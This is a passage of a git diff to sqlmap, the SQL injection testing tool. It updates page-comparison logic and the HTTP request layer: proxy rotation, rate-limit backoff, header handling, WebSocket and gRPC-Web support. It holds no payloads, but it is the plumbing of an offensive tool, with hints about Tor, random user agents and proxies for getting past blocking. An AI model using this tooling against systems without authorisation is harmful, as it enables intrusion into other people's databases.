if any(_ is None for _ in (page, seqMatcher.a)): return None - - seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") - seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") - - count = 0 - while count < min(len(seq1), len(seq2)): - if seq1[count] == seq2[count]: - count += 1 + elif seqMatcher.a and page and seqMatcher.a == page: + ratio = 1. + elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)): + if not page or not seqMatcher.a: + return float(seqMatcher.a == page) else: - break - - if count: - try: - _seq1 = seq1[count:] - _seq2 = seq2[count:] - except MemoryError: - pass + ratio = 1. * len(seqMatcher.a) / len(page) + if ratio > 1: + ratio = 1. / ratio + else: + seq1, seq2 = None, None + + # Structure-aware comparison for JSON responses: compare an order-independent + # projection of the parsed bodies instead of raw text, so key reordering/whitespace + # noise does not perturb the ratio while a changed value/array-length does. Engages + # only on a JSON Content-Type with both bodies parseable; any doubt (or an explicit + # --text-only/--titles) falls back to the exact text path below. + if _isJsonResponse(headers) and not (conf.titles or conf.textOnly or kb.nullConnection): + seq1 = threadData.lastPageTemplateJsonMinimized # memoized per template (see above) + seq2 = jsonMinimize(rawPage) + + # Structure-aware comparison for a structurally-stable (but byte-unstable) HTML page: + # compare the value-free tag/class/id skeleton so dynamic text does not perturb the ratio + # while a structural change (e.g. a results table appearing/disappearing) still does + if seq1 is None and kb.pageStructurallyStable and not (conf.titles or conf.textOnly or kb.nullConnection): + _ = threadData.lastPageTemplateStructural # memoized per template (see above) + if _: # only engage when the page actually exposes structure (HTML tags); tagless content falls back to text + seq1 = _ + seq2 = "\n".join(sorted(extractStructuralTokens(rawPage))) + + if seq1 is None or seq2 is None: + if conf.titles: + seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) + seq2 = extractRegexResult(HTML_TITLE_REGEX, page) + else: + seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a + seq2 = getFilteredPageContent(page, True) if conf.textOnly else page + + if seq1 is None or seq2 is None: + return None + + if isinstance(seq1, six.binary_type): + seq1 = seq1.replace(REFLECTED_VALUE_MARKER.encode(), b"") + elif isinstance(seq1, six.text_type): + seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") + + if isinstance(seq2, six.binary_type): + seq2 = seq2.replace(REFLECTED_VALUE_MARKER.encode(), b"") + elif isinstance(seq2, six.text_type): + seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") + + if kb.heavilyDynamic: + seq1 = seq1.split("\n" if isinstance(seq1, six.text_type) else b"\n") + seq2 = seq2.split("\n" if isinstance(seq2, six.text_type) else b"\n") + + key = None else: - seq1 = _seq1 - seq2 = _seq2 + key = (hash(seq1), hash(seq2)) - while True: try: seqMatcher.set_seq1(seq1) - except MemoryError: - seq1 = seq1[:len(seq1) / 1024] - else: - break - - while True: - try: seqMatcher.set_seq2(seq2) - except MemoryError: - seq2 = seq2[:len(seq2) / 1024] - else: - break + except: + seqMatcher.set_seq1(repr(seq1)) + seqMatcher.set_seq2(repr(seq2)) - ratio = round(seqMatcher.quick_ratio(), 3) + ratio = kb.cache.comparison.get(key) if key else None + + if ratio is None: + try: + try: + ratio = seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio() + except (TypeError, MemoryError, SystemError): + ratio = seqMatcher.ratio() + except: + ratio = 0.0 + + ratio = round(ratio, 3) + + if key: + kb.cache.comparison[key] = ratio # If the url is stable and we did not set yet the match ratio and the # current injected value changes the url page content @@ -164,6 +258,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength): kb.matchRatio = ratio logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio) + if kb.testMode: + threadData.lastComparisonRatio = ratio + # If it has been requested to return the ratio and not a comparison # response if getRatioValue: diff --git a/lib/request/connect.py b/lib/request/connect.py index b57ca6933cf..de374ed407b 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,70 +1,83 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import binascii -import compiler -import httplib -import json -import keyword +import calendar +import email.utils +import inspect +import io import logging +import os +import random import re import socket import string import struct +import sys import time import traceback -import urllib2 -import urlparse -try: - import websocket - from websocket import WebSocketException -except ImportError: - class WebSocketException(Exception): - pass +from lib.request import websocket +from lib.request.websocket import WebSocketException -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds +from lib.core.common import checkFile +from lib.core.common import checkSameHost +from lib.core.common import chunkSplitPostData from lib.core.common import clearConsoleLine -from lib.core.common import cpuThrottle from lib.core.common import dataToStdout +from lib.core.common import escapeJsonValue from lib.core.common import evaluateCode from lib.core.common import extractRegexResult +from lib.core.common import filterNone from lib.core.common import findMultipartPostBoundary from lib.core.common import getCurrentThreadData from lib.core.common import getHeader from lib.core.common import getHostHeader from lib.core.common import getRequestHeader from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import logHTTPTraffic -from lib.core.common import pushValue +from lib.core.common import openFile from lib.core.common import popValue +from lib.core.common import parseJson +from lib.core.common import pushValue from lib.core.common import randomizeParameterValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues +from lib.core.common import safeVariableNaming from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev -from lib.core.common import wasLastResponseDelayed -from lib.core.common import unicodeencode +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode +from lib.core.common import wasLastResponseDelayed +from lib.core.compat import patchHeaders +from lib.core.compat import xrange +from lib.core.convert import encodeBase64 +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import AttribDict +from lib.core.decorators import stackedmethod from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HINT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION @@ -72,47 +85,73 @@ class WebSocketException(Exception): from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.enums import REDIRECTION -from lib.core.enums import WEB_API +from lib.core.enums import WEB_PLATFORM from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER -from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import DEFAULT_CONTENT_TYPE from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER -from lib.core.settings import EVALCODE_KEYWORD_SUFFIX -from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE +from lib.core.settings import DEFAULT_USER_AGENT +from lib.core.settings import EVALCODE_ENCODED_PREFIX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE -from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE +from lib.core.settings import HTTP_ZSTD_AVAILABLE +from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE +from lib.core.settings import IPS_WAF_CHECK_PAYLOAD +from lib.core.settings import IS_WIN +from lib.core.settings import JAVASCRIPT_HREF_REGEX +from lib.core.settings import LARGE_READ_TRIM_MARKER +from lib.core.settings import LIVE_COOKIES_TIMEOUT +from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE +from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS +from lib.core.settings import MAX_MURPHY_SLEEP_TIME from lib.core.settings import META_REFRESH_REGEX +from lib.core.settings import MAX_TIME_RESPONSES from lib.core.settings import MIN_TIME_RESPONSES -from lib.core.settings import IS_WIN -from lib.core.settings import LARGE_CHUNK_TRIM_MARKER from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PERMISSION_DENIED_REGEX from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE +from lib.core.settings import RANDOM_INTEGER_MARKER +from lib.core.settings import RANDOM_STRING_MARKER +from lib.core.settings import RATE_LIMIT_DEFAULT_DELAY +from lib.core.settings import RATE_LIMIT_DELAY_STEP +from lib.core.settings import RATE_LIMIT_MAX_DELAY from lib.core.settings import REPLACEMENT_MARKER +from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import TEXT_CONTENT_TYPE_REGEX +from lib.core.settings import TOO_MANY_REQUESTS_HTTP_CODE from lib.core.settings import UNENCODED_ORIGINAL_VALUE +from lib.core.settings import UNICODE_ENCODING from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV +from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT +from lib.core.settings import YUGE_FACTOR from lib.request.basic import decodePage from lib.request.basic import forgeHeaders from lib.request.basic import processResponse -from lib.request.direct import direct from lib.request.comparison import comparison +from lib.request.direct import direct from lib.request.methodrequest import MethodRequest -from thirdparty.multipart import multipartpost -from thirdparty.odict.odict import OrderedDict +from lib.utils.grpcweb import decodeResponse as grpcDecodeResponse +from lib.utils.grpcweb import encodeBody as grpcEncodeBody +from lib.utils.safe2bin import safecharencode +from lib.utils.sqllint import checkSanity +from thirdparty import six +from collections import OrderedDict +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib from thirdparty.socks.socks import ProxyError - class Connect(object): """ This class defines methods used to perform HTTP requests @@ -120,27 +159,39 @@ class Connect(object): @staticmethod def _getPageProxy(**kwargs): - return Connect.getPage(**kwargs) + try: + if (len(inspect.stack()) > sys.getrecursionlimit() // 2): # Note: https://github.com/sqlmapproject/sqlmap/issues/4525 + warnMsg = "unable to connect to the target URL" + raise SqlmapConnectionException(warnMsg) + except (TypeError, UnicodeError): + pass + + try: + return Connect.getPage(**kwargs) + except RuntimeError: + return None, None, None @staticmethod def _retryProxy(**kwargs): threadData = getCurrentThreadData() threadData.retriesCount += 1 - if conf.proxyList and threadData.retriesCount >= conf.retries: + if conf.proxyList and threadData.retriesCount >= conf.retries and not kb.locks.handlers.locked(): warnMsg = "changing proxy" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.proxy = None - setHTTPProxy() + threadData.retriesCount = 0 + + setHTTPHandlers() if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME: # timed based payloads can cause web server unresponsiveness # if the injectable piece of code is some kind of JOIN-like query - warnMsg = "most probably web server instance hasn't recovered yet " + warnMsg = "most likely web server instance hasn't recovered yet " warnMsg += "from previous timed based payload. If the problem " - warnMsg += "persists please wait for few minutes and rerun " - warnMsg += "without flag T in option '--technique' " + warnMsg += "persists please wait for a few minutes and rerun " + warnMsg += "without flag 'T' in option '--technique' " warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to " warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')" singleTimeWarnMessage(warnMsg) @@ -152,14 +203,23 @@ def _retryProxy(**kwargs): warnMsg += "you could successfully use " warnMsg += "switch '--tor' " if IS_WIN: - warnMsg += "(e.g. 'https://www.torproject.org/download/download.html.en')" + warnMsg += "(e.g. 'https://www.torproject.org/download/')" else: warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')" else: warnMsg = "if the problem persists please check that the provided " - warnMsg += "target URL is valid. In case that it is, you can try to rerun " - warnMsg += "with the switch '--random-agent' turned on " - warnMsg += "and/or proxy switches ('--ignore-proxy', '--proxy',...)" + warnMsg += "target URL is reachable" + + items = [] + if not conf.randomAgent: + items.append("switch '--random-agent'") + if not any((conf.proxy, conf.proxyFile, conf.tor)): + items.append("proxy switches ('--proxy', '--proxy-file'...)") + if items: + warnMsg += ". In case that it is, " + warnMsg += "you can try to rerun with " + warnMsg += " and/or ".join(items) + singleTimeWarnMessage(warnMsg) elif conf.threads > 1: @@ -170,40 +230,95 @@ def _retryProxy(**kwargs): kwargs['retrying'] = True return Connect._getPageProxy(**kwargs) + @staticmethod + def _parseRetryAfter(responseHeaders): + """ + Parses a 'Retry-After' response header (RFC 7231 delta-seconds or an HTTP-date) into a number + of seconds to wait, or None when it is absent or unparseable. + """ + + value = (responseHeaders.get(HTTP_HEADER.RETRY_AFTER) if responseHeaders else None) or "" + value = value.strip() + + if value.isdigit(): + return float(value) + + parsed = email.utils.parsedate(value) + return max(0.0, calendar.timegm(parsed) - time.time()) if parsed else None + + @staticmethod + def _rateLimitRetry(responseHeaders, code, **kwargs): + """ + Handles a rate-limited response by honoring its 'Retry-After' (capped), adaptively raising the + inter-request delay so subsequent requests self-throttle under the limit, then re-issuing the + request. Returns the retried (page, headers, code) or None when the retry budget is exhausted, + so the caller can surface the rate-limited response as-is. + """ + + threadData = getCurrentThreadData() + if threadData.retriesCount >= conf.retries or kb.threadException: + return None + + retryAfter = Connect._parseRetryAfter(responseHeaders) + backoff = min(retryAfter if retryAfter is not None else RATE_LIMIT_DEFAULT_DELAY, RATE_LIMIT_MAX_DELAY) + + # additive-increase throttle: nudge the inter-request delay up toward a sustainable pace. The + # auto-throttle is capped, but a larger user-set '--delay' is never lowered. It is monotonic, + # so a lost concurrent update across threads self-heals on the next hit. + conf.delay = max(conf.delay or 0, min(RATE_LIMIT_MAX_DELAY, (conf.delay or 0) + RATE_LIMIT_DELAY_STEP)) + + singleTimeWarnMessage("target appears to be rate-limiting requests; sqlmap is backing off and throttling accordingly (consider raising '--delay' or lowering '--threads')") + logger.debug("rate-limited (HTTP %d)%s; sleeping %.1f second(s), inter-request delay now %.1f second(s)" % (code, " honoring 'Retry-After'" if retryAfter is not None else "", backoff, conf.delay)) + + time.sleep(backoff) + return Connect._retryProxy(**kwargs) + @staticmethod def _connReadProxy(conn): - retVal = "" + parts = [] + kb.respTruncated = False if not kb.dnsMode and conn: headers = conn.info() - if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\ - or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): - retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) - if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: + if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): + part = conn.read(MAX_CONNECTION_TOTAL_SIZE) + if len(part) == MAX_CONNECTION_TOTAL_SIZE: warnMsg = "large compressed response detected. Disabling compression" singleTimeWarnMessage(warnMsg) kb.pageCompress = False + raise SqlmapCompressionException + parts.append(part) else: while True: if not conn: break else: - _ = conn.read(MAX_CONNECTION_CHUNK_SIZE) + try: + part = conn.read(MAX_CONNECTION_READ_SIZE) + except AssertionError: + part = b"" - if len(_) == MAX_CONNECTION_CHUNK_SIZE: + if len(part) == MAX_CONNECTION_READ_SIZE: warnMsg = "large response detected. This could take a while" singleTimeWarnMessage(warnMsg) - _ = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_CHUNK_TRIM_MARKER, kb.chars.start), _) - retVal += _ + part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part) + parts.append(part) + kb.respTruncated = True # response exceeded the read cap and was trimmed (signal for chunked UNION dumping) else: - retVal += _ + parts.append(part) break - if len(retVal) > MAX_CONNECTION_TOTAL_SIZE: + if sum(len(_) for _ in parts) > MAX_CONNECTION_TOTAL_SIZE: warnMsg = "too large response detected. Automatically trimming it" singleTimeWarnMessage(warnMsg) + kb.respTruncated = True break + if conf.yuge: + parts = YUGE_FACTOR * parts + + retVal = b"".join(parts) + return retVal @staticmethod @@ -213,49 +328,104 @@ def getPage(**kwargs): the target URL page content """ + if conf.offline: + return None, None, None + + url = kwargs.get("url", None) or conf.url + get = kwargs.get("get", None) + post = kwargs.get("post", None) + method = kwargs.get("method", None) + cookie = kwargs.get("cookie", None) + ua = kwargs.get("ua", None) or conf.agent + referer = kwargs.get("referer", None) or conf.referer + host = kwargs.get("host", None) + direct_ = kwargs.get("direct", False) + multipart = kwargs.get("multipart", None) + silent = kwargs.get("silent", False) + raise404 = kwargs.get("raise404", True) + timeout = kwargs.get("timeout", None) or conf.timeout + auxHeaders = kwargs.get("auxHeaders", None) + response = kwargs.get("response", False) + ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts + refreshing = kwargs.get("refreshing", False) + retrying = kwargs.get("retrying", False) + crawling = kwargs.get("crawling", False) + checking = kwargs.get("checking", False) + skipRead = kwargs.get("skipRead", False) + finalCode = kwargs.get("finalCode", False) + chunked = kwargs.get("chunked", False) or conf.chunked + if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) - elif conf.cpuThrottle: - cpuThrottle(conf.cpuThrottle) - if conf.offline: - return None, None, None - elif conf.dummy: - return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None + start = time.time() threadData = getCurrentThreadData() with kb.locks.request: kb.requestCounter += 1 threadData.lastRequestUID = kb.requestCounter - url = kwargs.get("url", None) or conf.url - get = kwargs.get("get", None) - post = kwargs.get("post", None) - method = kwargs.get("method", None) - cookie = kwargs.get("cookie", None) - ua = kwargs.get("ua", None) or conf.agent - referer = kwargs.get("referer", None) or conf.referer - host = kwargs.get("host", None) or conf.host - direct_ = kwargs.get("direct", False) - multipart = kwargs.get("multipart", False) - silent = kwargs.get("silent", False) - raise404 = kwargs.get("raise404", True) - timeout = kwargs.get("timeout", None) or conf.timeout - auxHeaders = kwargs.get("auxHeaders", None) - response = kwargs.get("response", False) - ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout - refreshing = kwargs.get("refreshing", False) - retrying = kwargs.get("retrying", False) - crawling = kwargs.get("crawling", False) - skipRead = kwargs.get("skipRead", False) - - websocket_ = url.lower().startswith("ws") - - if not urlparse.urlsplit(url).netloc: - url = urlparse.urljoin(conf.url, url) + if conf.proxyFreq: + if kb.requestCounter % conf.proxyFreq == 0: + conf.proxy = None + + warnMsg = "changing proxy" + logger.warning(warnMsg) + + setHTTPHandlers() + + if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0: + if conf.murphyRate: + time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) + + page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3) + + threadData.lastPage = page + threadData.lastCode = code + + return page, headers, code + + if conf.liveCookies: + with kb.locks.liveCookies: + if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0: + warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT) + dataToStdout(warnMsg) + + valid = False + for _ in xrange(LIVE_COOKIES_TIMEOUT): + if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0: + valid = True + break + else: + dataToStdout('.') + time.sleep(1) + + dataToStdout("\n") + + if not valid: + errMsg = "problem occurred while loading cookies from file '%s'" % conf.liveCookies + raise SqlmapValueException(errMsg) + + cookie = openFile(conf.liveCookies).read().strip() + cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie) + + if multipart: + post = multipart + else: + if not post: + chunked = False + + elif chunked: + post = _urllib.parse.unquote(post) + post = chunkSplitPostData(post) + + webSocket = url.lower().startswith("ws") + + if not _urllib.parse.urlsplit(url).netloc: + url = _urllib.parse.urljoin(conf.url, url) # flag to know if we are dealing with the same target host - target = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, conf.url or ""])) + target = checkSameHost(url, conf.url) if not retrying: # Reset the number of connection retries @@ -265,13 +435,17 @@ def getPage(**kwargs): # url splitted with space char while urlencoding it in the later phase url = url.replace(" ", "%20") + if "://" not in url: + url = "http://%s" % url + conn = None - code = None page = None + code = None + status = None - _ = urlparse.urlsplit(url) - requestMsg = u"HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) - requestMsg += ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling)) else url + _ = _urllib.parse.urlsplit(url) + requestMsg = u"HTTP request [#%d]:\r\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) + requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling, checking)) else url) responseMsg = u"HTTP response " requestHeaders = u"" responseHeaders = None @@ -293,27 +467,13 @@ def getPage(**kwargs): params = urlencode(params) url = "%s?%s" % (url, params) - elif multipart: - # Needed in this form because of potential circle dependency - # problem (option -> update -> connect -> option) - from lib.core.option import proxyHandler - - multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler) - conn = multipartOpener.open(unicodeencode(url), multipart) - page = Connect._connReadProxy(conn) if not skipRead else None - responseHeaders = conn.info() - responseHeaders[URI_HTTP_HEADER] = conn.geturl() - page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) - - return page - - elif any((refreshing, crawling)): + elif any((refreshing, crawling, checking)): pass elif target: - if conf.forceSSL and urlparse.urlparse(url).scheme != "https": - url = re.sub("\Ahttp:", "https:", url, re.I) - url = re.sub(":80/", ":443/", url, re.I) + if conf.forceSSL: + url = re.sub(r"(?i)\A(http|ws):", r"\g<1>s:", url) + url = re.sub(r"(?i):80(?=[/?#]|\Z)", ":443", url) if PLACE.GET in conf.parameters and not get: get = conf.parameters[PLACE.GET] @@ -336,10 +496,13 @@ def getPage(**kwargs): url = "%s?%s" % (url, get) requestMsg += "?%s" % get - requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str + requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str # Prepare HTTP headers - headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}) + headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host or getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {}) + + if HTTP_HEADER.COOKIE in headers: + cookie = headers[HTTP_HEADER.COOKIE] if kb.authHeader: headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader @@ -347,17 +510,21 @@ def getPage(**kwargs): if kb.proxyAuthHeader: headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader - if not getHeader(headers, HTTP_HEADER.ACCEPT): - headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE + if not conf.requestFile or not target: + if not getHeader(headers, HTTP_HEADER.ACCEPT): + headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE - if not getHeader(headers, HTTP_HEADER.HOST) or not target: - headers[HTTP_HEADER.HOST] = getHostHeader(url) + if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): + headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" - if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): - headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" + elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT: + for header in headers: + if header.upper() == HTTP_HEADER.USER_AGENT.upper(): + del headers[header] + break - if post is not None and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): - headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE) + if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): + headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE) if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]: warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE @@ -368,86 +535,206 @@ def getPage(**kwargs): if boundary: headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary) + if conf.keepAlive: + headers[HTTP_HEADER.CONNECTION] = "keep-alive" + + if chunked: + headers[HTTP_HEADER.TRANSFER_ENCODING] = "chunked" + if auxHeaders: - for key, item in auxHeaders.items(): - for _ in headers.keys(): - if _.upper() == key.upper(): - del headers[_] - headers[key] = item + headers = forgeHeaders(auxHeaders, headers) + + if kb.headersFile: + content = openFile(kb.headersFile, 'r').read() + for line in content.split("\n"): + line = getText(line.strip()) + if ':' in line: + header, value = line.split(':', 1) + headers[header] = value + + if conf.localhost: + headers[HTTP_HEADER.HOST] = "localhost" + + for key, value in list(headers.items()): + if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): + # keep only content-codings sqlmap can actually decode (see decodePage): a browser-pasted + # 'Accept-Encoding' must not make the server return a body we cannot read. 'br' is always + # decodable (in-tree decoder), 'zstd' only on interpreters that ship it; anything else is + # dropped, falling back to "identity". + decodable = ["gzip", "x-gzip", "deflate", "br", "identity"] + (["zstd"] if HTTP_ZSTD_AVAILABLE else []) + value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in decodable) or "identity" - for key, item in headers.items(): del headers[key] - headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding) + if isinstance(value, six.string_types): + for char in (r"\r", r"\n"): + value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value) + headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip("\r\n")) # Note: Python3 has_header() expects non-bytes value - url = unicodeencode(url) - post = unicodeencode(post) + if six.PY2: + url = getBytes(url) # Note: Python3 requires text while Python2 has problems when mixing text with binary POST - if websocket_: + if webSocket: ws = websocket.WebSocket() - ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically - ws.send(urldecode(post or "")) - page = ws.recv() - ws.close() + try: + ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) + wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper()) + ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically + ws.send(urldecode(post or "")) + + _page = [] + + if kb.webSocketRecvCount is None: + while True: + try: + _page.append(ws.recv()) + if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE: + warnMsg = "too large websocket response detected. Automatically trimming it" + singleTimeWarnMessage(warnMsg) + break + except websocket.WebSocketTimeoutException: + kb.webSocketRecvCount = len(_page) + break + else: + for i in xrange(max(1, kb.webSocketRecvCount)): + # Note: a later response may carry fewer frames than the calibration one + # (e.g. a FALSE boolean-blind reply); stop on timeout instead of letting it + # bubble up as a failed request, mirroring the initial recv loop above + try: + _page.append(ws.recv()) + except websocket.WebSocketTimeoutException: + break + + page = "\n".join(_page) + finally: + ws.close() + code = ws.status - status = httplib.responses[code] + status = _http_client.responses.get(code, "") + class _(dict): pass + responseHeaders = _(ws.getheaders()) responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] - requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()) - requestMsg += "\n%s" % requestHeaders + requestHeaders += "\r\n".join(wsHeaders) + requestMsg += "\r\n%s" % requestHeaders if post is not None: - requestMsg += "\n\n%s" % getUnicode(post) + requestMsg += "\r\n\r\n%s" % getUnicode(post) - requestMsg += "\n" + requestMsg += "\r\n" threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) else: - if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): - method = unicodeencode(method) + # re-encode a gRPC-Web body from its injected JSON view, fixing length prefixes + if kb.postHint == POST_HINT.GRPC_WEB and post is not None: + post = 